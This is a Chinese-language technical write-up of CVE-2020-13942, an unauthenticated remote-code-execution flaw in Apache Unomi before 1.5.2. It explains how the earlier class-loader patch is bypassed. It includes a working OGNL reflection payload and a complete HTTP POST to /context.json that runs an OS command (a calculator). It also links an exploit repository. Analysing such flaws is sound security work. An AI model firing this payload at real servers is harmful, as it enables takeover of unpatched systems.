漏洞简介
- 参考链接
上篇讲完了 CVE-2020-11975;
现在是下篇 CVE-2020-13942。
漏洞简介:
Checkmarx Security Research Team绕过了上一个patch(修复CVE-2020-11975的代码),再次实现了RCE,漏洞编号CVE-2020-13942。
远程攻击者发送带有了MVEL或OGNL表达式的请求,(因为MVEL和OGNL表达式可以包含任意类),可导致远程代码执行(RCE),权限就是Unomi应用程序的运行权限。
因为MVEL表达式和OGNL表达式,是由Unomi的包里的不同的"内部程序包"(internal packages)里的不同的类进行计算/执行,所以CVE-2020-13942对应了2个独立的漏洞。
触发前提:
Apache Unomi < 1.5.2 的版本(如1.5.1),无需身份验证,能访问到就能RCE。
安全版本:
Apache Unomi >=1.5.2 修复了漏洞CVE-2020-13942.
漏洞评级:
这2个漏洞(名为CVE-2020-13942)的CVS分数均为10.0, 因为它们能访问OS,还能破坏Unomi的机密性,完整性。
Timeline:
June 24, 2020 – Vulnerability disclosed to Apache Unomi developers
August 20, 2020 – Code with the mix merged to master branch
November 13, 2020 – version 1.5.2 containing the fixed code is released
November 17, 2020 – public disclosure
漏洞分析
为什么上一个patch(修复CVE-2020-11975的代码)可被绕过?
因为那个patch的SecureFilteringClassLoader
依赖于这样一个假设: “MVEL和OGNL表达式中的每个类都是通过使用ClassLoader
类的loadClass()
方法加载的。”
事实上,不通过调用loadClass()
方法也能加载类。所以只要不调用loadClass(),就不会被SecureFilteringClassLoader
限制, 也就是绕过了安全管控。
不调用loadClass()
方法,怎么实现加载类的呢?
有2种注入办法,算是2个漏洞,编号都为CVE-2020-13942。
CVE-2020-13942 漏洞1 OGNL注入
下面这种方法可以在不调用loadClass()
的情况下加载"OGNL表达式中的类"(classes inside OGNL expressions)。
例子: 以下这个表达式利用"反射"(reflections)来使用已经存在的、现有的Runtime对象,而不会调用SecureFilteringClassLoader
的loadClass()
方法。
下面的表达式调用Runtime.getruntime()
来得到Runtime对象,然后调用exec()
。
(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).
(#runtimemethod = #runtimeclass.getDeclaredMethods().
{^ #this.name.equals(\"getRuntime\")}[0]).
(#runtimeobject = #runtimemethod.invoke(null,null)).
(#execmethod = #runtimeclass.getDeclaredMethods().
{? #this.name.equals(\"exec\")}.
{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.
{? #this.getParameters().length < 2}[0]).
(#execmethod.invoke(#runtimeobject,\"calc.exe\"))
PoC 保存到了这儿以便参考 https://github.com/1135/unomi_exploit
PoC: HTTP request with OGNL injection
以下(PoC)HTTP请求中的OGNL表达式,得到了Runtime
并使用Java reflection API执行了一条OS命令。
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2_anystr"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"